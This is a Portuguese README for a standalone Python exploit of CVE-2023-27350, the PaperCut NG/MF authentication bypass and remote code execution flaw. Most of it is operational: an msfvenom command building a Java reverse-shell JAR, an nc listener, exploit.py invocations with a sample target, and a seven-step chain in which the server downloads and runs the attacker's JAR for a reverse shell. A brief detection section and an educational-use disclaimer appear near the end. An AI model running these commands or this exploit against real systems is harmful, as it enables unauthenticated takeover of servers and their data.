
Este exploit é baseado no CVE-2023-27350 e foi construído a partir do exploit original por horizon3ai e do módulo Metasploit.
Exploit Python independente para a vulnerabilidade crítica de bypass de autenticação e execução remota de código no PaperCut NG/MF. CVSS 9.8.
CVE-2023-27350 afeta o PaperCut NG e MF nas versões anteriores a 20.1.7, 21.2.11 e 22.0.9. A falha permite que um atacante não autenticado acesse o endpoint /app?service=page/SetupCompleted — uma página de configuração que deveria ser acessível apenas durante a instalação inicial — e obtenha uma sessão administrativa válida sem qualquer credencial.
Com acesso de administrador, o atacante pode ativar o mecanismo de script de impressão do PaperCut e injetar código arbitrário executado pela JVM do servidor, resultando em RCE completo no contexto do usuário do serviço.
| Versão | Versão Corrigida |
|---|---|
| 20.x | 20.1.7 |
| 21.x | 21.2.11 |
| 22.x | 22.0.9 |
As versões 18.x e anteriores não receberam patch oficial.
Este exploit foi desenvolvido a partir da análise de duas implementações públicas:
Runtime.exec() com uma string simples para executar comandosRuntime.exec(String) não processa metacaracteres de shell (>&, |, 0>&1), tornando os payloads de reverse shell ineficazes. O script também codifica o ID da impressora (l1001) e verifica strings de sucesso apenas em inglês, falhando em instâncias que não estão em inglêsexploit/multi/http/papercut_ng_rceURLClassLoader, evitando qualquer dependência de shellncPython 3.x
requests
msfvenom (parte do Metasploit Framework)
nc (netcat)
pip install requests
1. Gerar o payload JAR
msfvenom -p java/shell_reverse_tcp \
LHOST=<SEU_IP> LPORT=<PORTA_SHELL> \
-f jar -o payload.jar
2. Iniciar um listener
nc -lvnp <PORTA_SHELL>
3. Executar o exploit
python exploit.py \
-u http://<ALVO>:9191 \
-j payload.jar \
-lh <SEU_IP> \
-lp <PORTA_HTTP> \
-rp <PORTA_SHELL>
Exemplo:
python exploit.py \
-u http://192.168.1.100:9191 \
-j payload.jar \
-lh 192.168.1.10 \
-lp 9090 \
-rp 4444
1. Bypass de autenticação via /app?service=page/SetupCompleted
↓
2. Obter JSESSIONID de admin sem credenciais
↓
3. Selecionar [Template Printer] (l1001)
↓
4. Injetar script RhinoJS no campo de script de impressão
↓
5. Script cria um URLClassLoader apontando para nosso servidor HTTP
↓
6. A JVM do PaperCut baixa e executa payload.jar
↓
7. Reverse shell
/app?service=page/SetupCompleted sem uma sessão anteriorprint-and-device.script.enabled e print.script.sandboxed (versões >= 19)URLClassLoader com uma URL externa nos logs da JVMEste exploit é fornecido apenas para fins educacionais e uso autorizado (testes de penetração, CTF, ambientes de laboratório). O uso não autorizado contra sistemas sem permissão explícita é ilegal. O autor não é responsável por qualquer uso indevido.
| Parâmetro | Descrição | Padrão |
|---|
-u / --url | URL base do PaperCut | obrigatório |
-j / --jar | Caminho para payload.jar | obrigatório |
-lh / --lhost | Seu IP (o alvo se conectará de volta aqui) | obrigatório |
-lp / --lport | Porta HTTP para servir o JAR | 9090 |
-rp / --rport | Porta do reverse shell | 4444 |